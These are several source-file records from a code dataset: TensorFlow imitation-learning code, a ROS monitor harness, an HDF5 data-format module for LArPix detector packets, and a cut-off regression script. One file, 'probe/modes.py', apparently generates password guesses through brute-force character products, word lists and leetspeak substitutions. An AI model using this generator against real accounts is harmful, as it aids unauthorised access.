tf.contrib.layers.l2_regularizer(regular)\n with tf.variable_scope('var', regularizer=regularizer) as scope:\n self.map_64 = Util.block(self.s, self.config.bridge, \"map_64\")\n self.map_64_flat = tf.contrib.layers.flatten(self.map_64)\n self.prob_64 = tf.nn.softmax(self.map_64_float)\n self.loss_64 = -tf.reduce_sum(tf.multiply(self.prob_64,self.action_64))\n self.map_32 = tf.layers.average_pooling2D(self.map_64,[2,2],2,'same')\n self.map_32_flat = tf.contrib.layers.flatten(self.map_32)\n self.prob_32 = tf.nn.softmax(self.map_32_float)\n self.loss_32 = -tf.reduce_sum(tf.multiply(self.prob_32, self.action_32))\n self.map_16 = tf.layers.average_pooling2D(self.map_32, [2, 2], 2, 'same')\n self.map_16_flat = tf.contrib.layers.flatten(self.map_16)\n self.prob_16 = tf.nn.softmax(self.map_16_float)\n self.loss_16 = -tf.reduce_sum(tf.multiply(self.prob_16, self.action_16))\n\n self.opt_64 = self.optimizer.minimize(self.loss_64)\n self.opt_32 = self.optimizer.minimize(self.loss_32)\n self.opt_16 = self.optimizer.minimize(self.loss_16)\n self.params = tl.layers.get_variables_with_name(self.scope, True, False)\n\n def save_ckpt(self):\n tl.files.exists_or_mkdir(self.scope)\n tl.files.save_ckpt(sess=self.sess, mode_name='model.ckpt', var_list=self.params,\n save_dir=self.scope, printable=False)\n\n def load_ckpt(self):\n tl.files.load_ckpt(sess=self.sess, var_list=self.params, save_dir=self.scope, printable=False)\n\n def train(self,state,action):\n loss = 0\n i = 0\n while i < 300:#loss > -0.9:\n _, loss = self.sess.run([self.opt,self.loss],feed_dict = {self.s:state,self.action:action})\n i = i+1\n if i % 30 == 0:\n print(loss)\n\n\n def train_16(self,state,action):\n\n for i in range(239):\n _, loss = self.sess.run([self.opt_16,self.loss_16],feed_dict = {self.s:[state[i]],self.action:[action[i]]})\n if i % 30 == 0:\n print(loss)\n\n def train_32(self,state,action):\n\n for i in range(239):\n _, loss = self.sess.run([self.opt_32,self.loss_32],feed_dict = {self.s:[state[i]],self.action:[action[i]]})\n if i % 30 == 0:\n print(loss)\n\n def train_64(self,state,action):\n\n for i in range(239):\n _, loss = self.sess.run([self.opt_64,self.loss_64],feed_dict = {self.s:[state[i]],self.action:[action[i]]})\n if i % 30 == 0:\n print(loss)\n\n\nclass generator:\n def __init__(self):\n self.env = wrap()\n\n def generate_expert(self):\n state, reward, done, info = self.env.reset()\n state_buffer, a16_buffer,a32_buffer,a64_buffer = [], [],[],[]\n while not done:\n a0, a1, a2 = teacher.action(state, info)\n action_64 = np.zeros((scr_pixels*scr_pixels,), dtype=np.float32)\n action_32 = np.zeros((scr_pixels * scr_pixels/4,), dtype=np.float32)\n action_16 = np.zeros((scr_pixels * scr_pixels/16,), dtype=np.float32)\n action_64[a1*scr_pixels+a2] = 1\n action_32[a1 * scr_pixels/4 + a2/2] = 1\n action_16[a1 * scr_pixels/16 + a2/4] = 1\n # print(action == 1)\n state_buffer.append([state])\n a16_buffer.append([action_16])\n a32_buffer.append([action_32])\n a64_buffer.append([action_64])\n\n state, reward, done, info = self.env.step(1 if a0 == 0 else int(2 + a1 * scr_pixels + a2))\n state_buffer, a16_buffer,a32_buffer,a64_buffer = np.vstack(state_buffer), np.vstack(a16_buffer), np.vstack(a32_buffer), np.vstack(a64_buffer)\n # print(state_buffer.shape)\n\n\n\n return state_buffer, a16_buffer,a32_buffer,a64_buffer\n\n\n\nclass Util:\n @staticmethod\n def block(x, config, name):\n with tf.variable_scope(name) as scope:\n layers = zip(config.types, config.filters, config.kernel_sizes,\n config.strides, config.paddings, config.activations,\n config.initializers)\n\n for type, filter, kernel_size, stride, padding, activation, initializer in layers:\n if type == 'conv':\n x = tf.layers.conv2d(x,\n filters=filter,\n kernel_size=kernel_size,\n strides=stride,\n padding=padding,\n activation=activation,\n kernel_initializer=initializer)\n elif type == 'flat':\n x = tf.contrib.layers.flatten(x)\n elif type == 'dense':\n x = tf.layers.dense(x,\n filter,\n activation=activation,\n kernel_initializer=initializer)\n return x\n\n\n\ndef main(unused_argv):\n sess = tf.Session()\n learn = learner(scope,config_q.config,sess)\n gen = generator()\n learn.load_ckpt()\n for t in range(epoches):\n state,a16,a32,a64 = gen.generate_expert()\n learn.train_16(state,action16)\n learn.save_ckpt()\n\n\nif __name__ =='__main__':\n app.run(main)\n\n\n\n","sub_path":"n_steps.py","file_name":"n_steps.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283386397","text":"#coding:utf-8\n\n''' 自定义类Member '''\n\n\nclass Member:\n __metaclass__ = type\n member_id = 0\n\n def __init__(self, name='song', tel=None, sex=None, age=None):\n self.name = name\n self.tel = tel\n self.sex = sex\n self.age = age\n\n def __iter__(self):\n return self\n\n def next(self):\n self.member_id = self.member_id+1\n if self.member_id > 10:\n raise StopAsyncIteration\n return self.member_id\n\n def getname(self):\n say = 'I am a baby.'\n print(say)\n return self.name\n\n\nif __name__ == '__main__':\n m = Member()\n print('打印测结果', m.__iter__())\n get = m.getname()\n print(get)\n next1 = m.next()\n print('next', next1)\n\n\n\n","sub_path":"A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"121324015","text":"from string import ascii_lowercase, ascii_uppercase, digits, punctuation\nfrom itertools import islice, combinations, product, permutations\n\nCH = ascii_lowercase, ascii_uppercase, digits, punctuation\nRPL = [['a', 'A', '4', '@'],\n ['b', 'B', '8'],\n ['c', 'C'],\n ['d', 'D'],\n ['e', 'E', '3'],\n ['f', 'F'],\n ['g', 'G', '6'],\n ['h', 'H'],\n ['i', 'I', '1', '!'],\n ['j', 'J'],\n ['k', 'K'],\n ['l', 'L', '|'],\n ['m', 'M'],\n ['n', 'N'],\n ['o', 'O', '0'],\n ['p', 'P'],\n ['q', 'Q'],\n ['r', 'R'],\n ['s', 'S', '5'],\n ['t', 'T', '7'],\n ['u', 'U'],\n ['v', 'V'],\n ['w', 'W'],\n ['x', 'X'],\n ['y', 'Y'],\n ['z', 'Z', '2']]\n\nfor s in list(digits + punctuation):\n RPL.append([s])\n\n\ndef prime_wl(gen):\n \"\"\"Advance word list to yield from.\"\"\"\n\n def deco(*args, **kw):\n wl = gen(*args, **kw)\n next(wl)\n return wl\n\n return deco\n\n\n@prime_wl\ndef word_list(file, istart, istop, **_):\n \"\"\"Slice and yield from word list file.\"\"\"\n with open(file, 'r') as f:\n yield\n slc = islice(map(str.rstrip, f), istart, istop)\n yield from slc\n\n\ndef word_list_mode(**kw):\n \"\"\"Return set of word list generators.\"\"\"\n return {word_list(wl, **kw) for wl in kw['wl']}\n\n\ndef mk_cmb(m, length):\n \"\"\"Generate combinations of CH.\"\"\"\n cmb = enumerate(combinations(CH, r=m))\n return {n + length: ''.join(i) for n, i in cmb}\n\n\ndef select_charset(key):\n \"\"\"Return charset combination by key.\"\"\"\n charsets = {}\n for m in range(1, len(CH) + 1):\n charsets.update(mk_cmb(m, len(charsets)))\n return charsets[key]\n\n\ndef mk_gen(ch, istart, istop, n):\n \"\"\"Join sliced product of ch in generator.\"\"\"\n slc = islice(product(ch, repeat=n), istart, istop)\n return (''.join(pwd) for pwd in slc)\n\n\ndef search(ch, istart, istop, start, stop, step, **_):\n \"\"\"Make generators in a given range.\"\"\"\n for n in range(start, stop + 1, step):\n yield mk_gen(ch, istart, istop, n)\n\n\ndef search_mode(**kw):\n \"\"\"Return set of search generators.\"\"\"\n return set(search(select_charset(kw['key']), **kw))\n\n\ndef permute(length, *args):\n \"\"\"yield from permutations of args.\"\"\"\n for n in range(1, length + 1):\n yield from map(''.join, permutations(args, n))\n\n\ndef get_chars(pwd):\n \"\"\"Select chars from RPL.\"\"\"\n return (chars for char in pwd.lower()\n for chars in RPL if chars[0] == char)\n\n\ndef rpl(*args):\n \"\"\"yield from the product of selected chars.\"\"\"\n for pwd in permute(len(args), *map(str.lower, args)):\n yield from product(*get_chars(pwd))\n\n\ndef mk_gens(args, istart, istop, **_):\n \"\"\"Join product in sliced generators.\"\"\"\n for arg in args:\n slc = islice(rpl(*arg.split(', ')), istart, istop)\n yield (''.join(pwd) for pwd in slc)\n\n\ndef rpl_mode(**kw):\n \"\"\"Return set of rpl generators.\"\"\"\n return set(mk_gens(kw['rpl'], **kw))\n","sub_path":"probe/modes.py","file_name":"modes.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"309095365","text":"#!/usr/bin/env python\nimport rospy\nimport sys\n\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Pose\nfrom grid_map.msg import GridMap\nfrom plp_monitors.msg import PLPMessage\nfrom PLP_maintain_direction_on_map_logic import *\nfrom PLP_maintain_direction_on_map_classes import *\n\nPLP_TOPIC = \"/plp/messages\"\n\nclass PLP_maintain_direction_on_map_ros_harness(object):\n\n def __init__(self):\n\n self.plp_constants = {\n \"max_allowed_change_rate\": ''' TODO: wasn't specified ''',\n \"required_distance\": ''' TODO: wasn't specified ''',\n \"exception_distance\": ''' TODO: wasn't specified ''',\n \"path_offset\": ''' TODO: wasn't specified ''',\n }\n # The following method call is for any initialization code you might need\n self.node_setup()\n\n # Setup internal PLP objects.\n self.plp = None\n self.plp_params = PLP_maintain_direction_on_map_parameters()\n\n # Parse arguments. decide on trigger mode: Capture, Run PLP, or both.\n self.capture = False\n self.monitor = False\n self.capture_filename = \"\"\n start_args = rospy.myargv(argv=sys.argv)\n for arg in start_args[1:]:\n if arg == \"-capture\":\n self.capture = True\n elif arg == \"-monitor\":\n self.monitor = True\n elif self.capture:\n self.capture_filename = arg\n else:\n rospy.loginfo(\"Unsupported input argument. Usage:\\n -capture <file_name> \\n -monitor\")\n\n # default: just use the PLP.\n if not (self.capture or self.monitor):\n self.monitor = True\n\n if self.capture and self.capture_filename == \"\":\n self.capture_filename = \"capture-file\"\n\n self.triggered = False\n\n # ROS related stuff\n rospy.init_node(\"plp_maintain_direction_on_map\", anonymous=False)\n self.publisher = rospy.Publisher(PLP_TOPIC, PLPMessage, queue_size=5)\n rospy.Subscriber(\"/maintain_dir_cmd\", Pose, self.param_goal_location_updated)\n rospy.Subscriber(\"/map_publisher\", GridMap, self.param_map_updated)\n # No glue mapping for parameter: max_change_rate_path_tangent\n # No glue mapping for parameter: gas_level\n rospy.Subscriber(\"/komodo_1/odom_pub\", Odometry, self.param_odometry_updated)\n\n\n if self.monitor:\n rospy.loginfo(\"<PLP:maintain_direction_on_map>: Monitoring\")\n if self.capture:\n rospy.loginfo(\"<PLP:maintain_direction_on_map>: Capturing (filename: \" + self.capture_filename + \")\")\n\n rospy.loginfo(\"<PLP:maintain_direction_on_map> Harness - Started\")\n\n def node_setup(self):\n \"\"\"\n Custom node initialization code here\n \"\"\"\n return\n\n def consider_trigger(self):\n \"\"\"\n Tests whether or not to trigger the plp, based on the check_trigger function\n \"\"\"\n\n if self.monitor and not self.triggered:\n if self.check_trigger():\n self.triggered = True\n self.trigger_plp_task()\n if self.capture:\n if self.check_trigger():\n self.triggered = True\n self.capture_params()\n\n\n # PLP Callback methods\n def plp_terminated(self, plp_termination):\n \"\"\"\n The PLP detected that one of its termination conditions have occurred.\n Deletes the current PLP, resets the harness.\n :param plp_termination: The termination message sent from the PLP.\n \"\"\"\n rospy.loginfo(\"<PLP:maintain_direction_on_map> terminated\")\n\n if plp_termination.is_success():\n msg = \"Success\"\n else:\n msg = \"Failure occurred \" + plp_termination.get_message()\n\n self.publisher.publish(\n PLPMessage(\"maintain_direction_on_map\", \"MaintainPLP\", msg))\n self.reset_harness_data()\n\n def plp_no_preconditions(self):\n \"\"\"\n Called when the PLP is active and would have given an estimation, but the preconditions don't hold\n \"\"\"\n self.publisher.publish(\n PLPMessage(\"maintain_direction_on_map\", \"info\", \"<PLP:maintain_direction_on_map> triggered, but its preconditions don't hold\"))\n\n def plp_missing_data(self):\n \"\"\"\n Called by the PLP when it should have delivered an estimation, but there is not enough data (missing parameter)\n \"\"\"\n self.publisher.publish(PLPMessage(None, \"maintain_direction_on_map\", \"info\", \"<PLP:maintain_direction_on_map> triggered, but its missing some data\"))\n\n def plp_monitor_message(self, message):\n self.publisher.publish(\n PLPMessage(\"maintain_direction_on_map\", \"monitor\",\n repr(message)))\n\n def plp_estimation(self, plp_est):\n \"\"\"\n The PLP is active, and gives an estimation.\n \"\"\"\n self.publisher.publish(\n PLPMessage(\"maintain_direction_on_map\", \"estimation\",\n repr(plp_est)))\n\n def reset_harness_data(self):\n self.plp = None\n self.plp_params.callback = None\n self.plp_params = PLP_maintain_direction_on_map_parameters()\n self.triggered = False\n self.timer1.shutdown()\n\n def trigger_plp_task(self):\n # Creates a PLP and starts the monitoring, if there's no PLP yet.\n rospy.loginfo(\"<PLP:maintain_direction_on_map> trigger detected, starting \" + \"monitoring\" if self.monitor else \"capturing\")\n self.plp = PLP_maintain_direction_on_map_logic(self.plp_constants, self.plp_params, self)\n self.plp_params.callback = self.plp\n # Progress measures callbacks\n self.timer1 = rospy.Timer(rospy.Duration(1.0), harness.plp.monitor_progress_moving)\n self.plp.request_estimation()\n\n def capture_params(self):\n capture_file = open(self.capture_filename, \"w\")\n capture_file.write(\"Parameter: goal_location, Value: \")\n capture_file.write(repr(self.plp_params.goal_location))\n capture_file.write(\"Parameter: map, Value: \")\n capture_file.write(repr(self.plp_params.map))\n capture_file.write(\"Parameter: max_change_rate_path_tangent, Value: \")\n capture_file.write(repr(self.plp_params.max_change_rate_path_tangent))\n capture_file.write(\"Parameter: gas_level, Value: \")\n capture_file.write(repr(self.plp_params.gas_level))\n capture_file.write(\"Parameter: odometry, Value: \")\n capture_file.write(repr(self.plp_params.odometry))\n\n capture_file.close()\n rospy.loginfo(\"<PLP:maintain_direction_on_map> captured parameters at trigger time to file '%s'\" % self.capture_filename)\n\n def param_goal_location_updated(self, msg):\n self.plp_params.set_goal_location(msg)\n self.consider_trigger()\n\n def param_map_updated(self, msg):\n self.plp_params.set_map(msg)\n # If this parameter effects the trigger for the robotic module, uncomment the following line\n # self.consider_trigger()\n\n # TODO: Implement update function for parameter: max_change_rate_path_tangent. No glue mapping found.\n\n # TODO: Implement update function for parameter: gas_level. No glue mapping found.\n\n def param_odometry_updated(self, msg):\n self.plp_params.set_odometry(msg)\n # If this parameter effects the trigger for the robotic module, uncomment the following line\n # self.consider_trigger()\n\n def check_trigger(self):\n # The execution parameters are considered the trigger\n # If the trigger includes requirements on other parameters, add them using self.plp_params.<param_name> and uncomment the relevant line in the update functions above\n # You can also use the defined constants using self.plp_constants[<constant_name>]\n # (All the parameters are defined in PLP_maintain_direction_on_map_classes.py)\n return not ((self.plp_params.goal_location is None))\n\nif __name__ == '__main__':\n try:\n rospy.loginfo(\"<PLP:maintain_direction_on_map> node starting\")\n harness = PLP_maintain_direction_on_map_ros_harness()\n rospy.spin()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"Examples/example_00/plps/plp_monitors/scripts/PLP_maintain_direction_on_map_ros_harness.py","file_name":"PLP_maintain_direction_on_map_ros_harness.py","file_ext":"py","file_size_in_byte":8158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"268548804","text":"'''\nThis module gives access to the LArPix+HDF5 file format.\n\nFile format description\n=======================\n\nAll LArPix+HDF5 files use the HDF5 format so that they\ncan be read and written using any language that has an HDF5 binding. The\ndocumentation for the Python h5py binding is at <http://docs.h5py.org>.\n\nThe ``to_file`` and ``from_file`` methods translate between a list of\nPacket-like objects and an HDF5 data file. ``from_file`` can be used to\nload up the full file all at once or just a subset of rows (supposing\nthe full file was too big to fit in memory). To access the data most\nefficiently, do not rely on ``from_file`` and instead perform analysis\ndirectly on the HDF5 data file.\n\nFile Header\n-----------\n\nThe file header can be found in the ``/_header`` HDF5 group. At a\nminimum, the header will contain the following HDF5 attributes:\n\n - ``version``: a string containing the LArPix+HDF5 version\n - ``created``: a Unix timestamp of the file's creation time\n - ``modified``: a Unix timestamp of the file's last-modified time\n\nVersions\n--------\n\nThe LArPix+HDF5 format is self-describing and versioned. This means as\nthe format evolves, the files themselves will identify which version\nof the format should be used to interpret them. When writing a file\nwith ``to_file``, the format version can be specified, or by default,\nthe latest version is used. When reading a file with ``from_file``, by\ndefault, the format version of the actual file is used. If a specific\nformat version is expected or required, that version can be specified,\nand a ``RuntimeError`` will be raised if a different format version is\nencountered.\n\nThe versions are always in the format ``major.minor`` and are stored as\nstrings (e.g. ``'1.0'``, ``'1.5'``).\n\nThe minor format will increase if a non-breaking change is made, so that\na script compatible with a lower minor version will also work with files\nthat have a higher minor version. E.g. a script designed to work with\nv1.0 will also work with v1.5. The reverse is not necessarily true: a\nscript designed to work with v1.5 *may not* work with v1.0 files.\n\nThe major format will increase if a breaking change is made. This means\nthat a script designed to work with v1.5 will *likely not* work with\nv2.0 files, and vice versa.\n\nFile Data\n---------\n\nThe file data is saved in HDF5 datasets, and the specific data format\ndepends on the LArPix+HDF5 version.\n\nFor version 1.0, there are two dataset: ``packets`` and ``messages``.\n\nThe ``packets`` dataset\ncontains a list of all of the packets sent and received during a\nparticular time interval.\n\n - Shape: ``(N,)``, ``N >= 0``\n\n - Datatype: a compound datatype (called \"structured type\" in\n h5py/numpy). Not all fields are relevant for each packet. Unused\n fields are set to a default value of 0 or the empty string.\n Keys/fields:\n\n - ``chip_key`` (``S32``/32-character string): the chip key\n identifying the ASIC associated with this packet\n\n - ``type`` (``u1``/unsigned byte): the packet type code, which\n can be interpreted according to the map stored in the\n raw_packet attribute 'packet_types'\n\n - ``chipid`` (``u1``/unsigned byte): the LArPix chipid\n\n - ``parity`` (``u1``/unsigned byte): the packet parity bit (0 or\n 1)\n\n - ``valid_parity`` (``u1``/unsigned byte): 1 if the packet\n parity is valid (odd), 0 if it is invalid\n\n - ``channel`` (``u1``/unsigned byte): the ASIC channel\n\n - ``timestamp`` (``u8``/unsigned 8-byte long int): the timestamp\n associated with the packet. **Caution**: this field does\n \"triple duty\" as both the ASIC timestamp in data packets\n (``type`` == 0), as the global timestamp in timestamp\n packets (``type`` == 4), and as the message timestamp in\n message packets (``type`` == 5).\n\n - ``adc_counts`` (``u1``/unsigned byte): the ADC data word\n\n - ``fifo_half`` (``u1``/unsigned byte): 1 if the FIFO half full\n flag is present, 0 otherwise.\n\n - ``fifo_full`` (``u1``/unsigned byte): 1 if the FIFO full flag\n is present, 0 otherwise.\n\n - ``register`` (``u1``/unsigned byte): the configuration\n register index\n\n - ``value`` (``u1``/unsigned byte): the configuration register\n value\n\n - ``counter`` (``u4``/unsigned 4-byte int): the test counter\n value, or the message index. **Caution**: this field does\n \"double duty\" as the counter for test packets (``type`` == 1)\n and as the message index for message packets (``type`` == 5).\n\n - ``direction`` (``u1``/unsigned byte): 0 if packet was sent to\n ASICs, 1 if packet was received from ASICs.\n\n - Packet types lookup: the ``packets`` dataset has an attribute\n ``'packet_types'`` which contains the following lookup table for\n packets::\n\n 0: 'data',\n 1: 'test',\n 2: 'config write',\n 3: 'config read',\n 4: 'timestamp',\n 5: 'message',\n\nThe ``messages`` dataset has the full messages referred to by message\npackets in the ``packets`` dataset.\n\n - Shape: ``(N,)``, ``N >= 0``\n\n - Datatype: a compound datatype with fields:\n\n - ``message`` (``S64``/64-character string): the message\n\n - ``timestamp`` (``u8``/unsigned 8-byte long int): the timestamp\n associated with the message\n\n - ``index`` (``u4``/unsigned 4-byte int): the message index,\n which should be equal to the row index in the ``messages``\n dataset\n\nExamples\n--------\n\nPlot a histogram of ADC counts (selecting packet type to be data packets\nonly)\n\n>>> import matplotlib.pyplot as plt\n>>> import h5py\n>>> f = h5py.File('output.h5', 'r')\n>>> packets = f['packets']\n>>> plt.hist(packets['adc_counts'][packets['type'] == 0])\n>>> plt.show()\n\nLoad the first 10 packets in a file into Packet objects and print any\nMessagePacket packets to the console\n\n>>> from larpix.format.hdf5format import from_file\n>>> from larpix.larpix import MessagePacket\n>>> result = from_file('output.h5', end=10)\n>>> for packet in result['packets']:\n... if isinstance(packet, MessagePacket):\n... print(packet)\n\n\n\n'''\nimport time\n\nimport h5py\nimport numpy as np\n\nfrom larpix.larpix import Packet, TimestampPacket, MessagePacket\nfrom larpix.logger import Logger\n\n#: The most recent / up-to-date LArPix+HDF5 format version\nlatest_version = '1.0'\n\n#: The dtype specification used in the HDF5 files.\n#:\n#: Structure: ``{version: {dset_name: [structured dtype fields]}}``\ndtypes = {\n '0.0': {\n 'raw_packet': [\n ('chip_key','S32'),\n ('type','u1'),\n ('chipid','u1'),\n ('parity','u1'),\n ('valid_parity','u1'),\n ('counter','u4'),\n ('channel','u1'),\n ('timestamp','u8'),\n ('adc_counts','u1'),\n ('fifo_half','u1'),\n ('fifo_full','u1'),\n ('register','u1'),\n ('value','u1'),\n ]\n },\n '1.0': {\n 'packets': [\n ('chip_key','S32'),\n ('type','u1'),\n ('chipid','u1'),\n ('parity','u1'),\n ('valid_parity','u1'),\n ('channel','u1'),\n ('timestamp','u8'),\n ('adc_counts','u1'),\n ('fifo_half','u1'),\n ('fifo_full','u1'),\n ('register','u1'),\n ('value','u1'),\n ('counter','u4'),\n ('direction', 'u1'),\n ],\n 'messages': [\n ('message', 'S64'),\n ('timestamp', 'u8'),\n ('index', 'u4'),\n ]\n }\n }\n\n#: A map between attribute name and \"column index\" in the structured\n#: dtypes.\n#:\n#: Structure: ``{version: {dset_name: {field_name: index}}}``\ndtype_property_index_lookup = {\n '0.0': {\n 'raw_packet': {\n 'chip_key': 0,\n 'type': 1,\n 'chipid': 2,\n 'parity': 3,\n 'valid_parity': 4,\n 'counter': 5,\n 'channel': 6,\n 'timestamp': 7,\n 'adc_counts': 8,\n 'fifo_half': 9,\n 'fifo_full': 10,\n 'register': 11,\n 'value': 12,\n }\n },\n '1.0': {\n 'packets': {\n 'chip_key': 0,\n 'type': 1,\n 'chipid': 2,\n 'parity': 3,\n 'valid_parity': 4,\n 'channel': 5,\n 'timestamp': 6,\n 'adc_counts': 7,\n 'fifo_half': 8,\n 'fifo_full': 9,\n 'register': 10,\n 'value': 11,\n 'counter': 12,\n 'direction': 13,\n },\n 'messages': {\n 'message': 0,\n 'timestamp': 1,\n 'index': 2,\n }\n }\n }\n\ndef to_file(filename, packet_list, mode='a', version=None):\n '''\n Save the given packets to the given file.\n\n This method can be used to update an existing file.\n\n :param filename: the name of the file to save to\n :param packet_list: any iterable of objects of type ``Packet`` or\n ``TimestampPacket``.\n :param mode: optional, the \"file mode\" to open the data file\n (default: ``'a'``)\n :param version: optional, the LArPix+HDF5 format version to use. If\n writing a new file and version is unspecified or ``None``,\n the latest version will be used. If writing an existing file\n and version is unspecified or ``None``, the existing file's\n version will be used. If writing an existing file and version\n is specified and does not exactly match the existing file's\n version, a ``RuntimeError`` will be raised. (default: ``None``)\n\n '''\n with h5py.File(filename, mode) as f:\n # Create header\n if '_header' not in f.keys():\n if version is None:\n version = latest_version\n header = f.create_group('_header')\n header.attrs['version'] = version\n header.attrs['created'] = time.time()\n else:\n header = f['_header']\n file_version = header.attrs['version']\n if header.attrs['version'] != version:\n raise RuntimeError('Incompatible versions: existing: %s, '\n 'specified: %s' % (file_version, version))\n header.attrs['modified'] = time.time()\n\n # Create datasets\n if version == '0.0':\n packet_dset_name = 'raw_packet'\n else:\n packet_dset_name = 'packets'\n direction_index = (\n dtype_property_index_lookup[version]['packets']\n ['direction'])\n packet_dtype = dtypes[version][packet_dset_name]\n if packet_dset_name not in f.keys():\n packet_dset = f.create_dataset(packet_dset_name, shape=(len(packet_list),),\n maxshape=(None,), dtype=packet_dtype)\n packet_dset.attrs['packet_types'] = '''\n0: 'data',\n1: 'test',\n2: 'config write',\n3: 'config read',\n4: 'timestamp',\n5: 'message',\n'''\n start_index = 0\n else:\n packet_dset = f[packet_dset_name]\n start_index = packet_dset.shape[0]\n packet_dset.resize(start_index + len(packet_list), axis=0)\n if version != '0.0':\n message_dset_name = 'messages'\n message_dtype = dtypes[version][message_dset_name]\n if message_dset_name not in f.keys():\n message_dset = f.create_dataset(message_dset_name,\n shape=(0,), maxshape=(None,),\n dtype=message_dtype)\n message_start_index = 0\n else:\n message_dset = f[message_dset_name]\n message_start_index = message_dset.shape[0]\n\n # Fill dataset\n encoded_packets = []\n messages = []\n for i, packet in enumerate(packet_list):\n dict_rep = packet.export()\n encoded_packet = [\n dict_rep.get(key, b'') if val_type[0] == 'S' # string\n else dict_rep.get(key, 0) for key, val_type in\n packet_dtype]\n if 'direction' in dict_rep:\n encoded_packet[direction_index] = {\n Logger.WRITE: 0,\n Logger.READ: 1}[encoded_packet[direction_index]]\n encoded_packets.append(tuple(encoded_packet))\n if isinstance(packet, MessagePacket):\n messages.append((packet.message, packet.timestamp,\n message_start_index + len(messages)))\n\n packet_dset[start_index:] = encoded_packets\n if version != '0.0':\n message_dset.resize(message_start_index + len(messages), axis=0)\n message_dset[message_start_index:] = messages\n\ndef from_file(filename, version=None, start=None, end=None):\n '''\n Read the data from the given file into LArPix Packet objects.\n\n :param filename: the name of the file to read\n :param version: the format version. Specify this parameter to\n enforce a version check. When a specific version such as\n ``'1.5'`` is specified, a ``RuntimeError`` will be raised if the\n stored format version number is not an exact match. If a version\n is prefixed with ``'~'`` such as ``'~1.5'``, a ``RuntimeError``\n will be raised if the stored format version is *incompatible*\n with the specified version. Compatible versions are those with\n the same major version and at least the same minor version. E.g.\n for ``'~1.5'``, versions between v1.5 and v2.0 are compatible.\n If unspecified or ``None``, will use the stored format version.\n :param start: the index of the first row to read\n :param end: the index after the last row to read (same semantics as\n Python ``range``)\n :returns packet_dict: a dict with keys ``'packets'`` containing a\n list of packet objects; and ``'created'``, ``'modified'``, and\n ``'version'``, containing the file metadata.\n\n '''\n with h5py.File(filename, 'r') as f:\n file_version = f['_header'].attrs['version']\n if version is None:\n version = file_version\n elif version[0] == '~':\n file_major, _, file_minor = file_version.split('.')\n version_major, _, version_minor = version.split('.')\n version_major = version_major[1:]\n if (file_major != version_major\n or file_minor < version_minor):\n raise RuntimeError('Incompatible versions: existing: %s, '\n 'specified: %s' % (file_version, version))\n else:\n version = file_version\n elif version == file_version:\n pass\n else:\n raise RuntimeError('Incompatible versions: existing: %s, '\n 'specified: %s' % (file_version, version))\n if version not in dtypes:\n raise RuntimeError('Unknown version: %s' % version)\n if version == '0.0':\n dset_name = 'raw_packet'\n else:\n dset_name = 'packets'\n message_dset_name = 'messages'\n message_props = (\n dtype_property_index_lookup[version][message_dset_name])\n message_dset = f[message_dset_name]\n props = dtype_property_index_lookup[version][dset_name]\n packets = []\n if start is None and end is None:\n dset_iter = f[dset_name]\n else:\n dset_iter = f[dset_name][start:end]\n for row in dset_iter:\n if row[props['type']] == 4:\n packets.append(TimestampPacket(row[props['timestamp']]))\n continue\n if row[props['type']] == 5:\n index = row[props['counter']]\n message_row = message_dset[index]\n message = message_row[message_props['message']].decode()\n timestamp = row[props['timestamp']]\n packets.append(MessagePacket(message, timestamp))\n continue\n p = Packet()\n p.chip_key = row[props['chip_key']]\n p.packet_type = row[props['type']]\n p.chipid = row[props['chipid']]\n p.parity_bit_value = row[props['parity']]\n if p.packet_type == Packet.DATA_PACKET:\n p.channel = row[props['channel']]\n p.timestamp = row[props['timestamp']]\n p.dataword = row[props['adc_counts']]\n p.fifo_half_flag = row[props['fifo_half']]\n p.fifo_full_flag = row[props['fifo_full']]\n elif p.packet_type == Packet.TEST_PACKET:\n p.counter = row[props['counter']]\n elif (p.packet_type == Packet.CONFIG_WRITE_PACKET\n or p.packet_type == Packet.CONFIG_READ_PACKET):\n p.register_address = row[props['register']]\n p.register_data = row[props['value']]\n if version != '0.0':\n p.direction = row[props['direction']]\n packets.append(p)\n return {\n 'packets': packets,\n 'created': f['_header'].attrs['created'],\n 'modified': f['_header'].attrs['modified'],\n 'version': f['_header'].attrs['version'],\n }\n","sub_path":"larpix/format/hdf5format.py","file_name":"hdf5format.py","file_ext":"py","file_size_in_byte":17663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"577066214","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport starter\n\ndef print_info(train_l, valid_l, test_l, train_a, valid_a, test_a, type, alpha, reg, comp_time):\n if type is \"GD\":\n print('Batch GD with \\u03B1 = {}, \\u03BB = {}, training MSE = {}, validation MSE = {}, testing MSE = {}, '\n 'training accuracy = {}, valid accuracy = {}, test accuracy = {}, '\n 'computation time = {} ms'.format(alpha, reg, train_l, valid_l, test_l, train_a, valid_a, test_a, int(comp_time * 1000)))\n elif type is \"normal\":\n print('Normal Equation with \\u03BB = {}, training MSE = {}, '\n 'training accuracy = {}, valid accuracy = {}, test accuracy = {}, '\n 'computation time = {} ms'.format(reg, train_l, train_a, valid_a, test_a, int(comp_time * 1000)))\n\ndef linreg():\n\n import time\n\n trainData, validData, testData, trainTarget, validTarget, testTarget = loadData()\n trainData = np.array([x.flatten() for x in trainData])\n validData = np.array([x.flatten() for x in validData])\n testData = np.array([x.flatten() for x in testData])\n\n\n #1.3\n\n alpha1, alpha2, alpha3 = 0.005, 0.001, 0.0001\n reg = 0\n epochs = 5000\n error_tol = 1e-7\n\n init_weight = np.random.normal(0, 0.5, size=(784,1))\n init_bias = 0\n\n start1 = time.time()\n weight_train1, bias_train1, loss_train1 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha1, epochs, reg, error_tol)\n end1 = time.time()\n start2 = time.time()\n weight_train2, bias_train2, loss_train2 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha2, epochs, reg, error_tol)\n end2 = time.time()\n start3 = time.time()\n 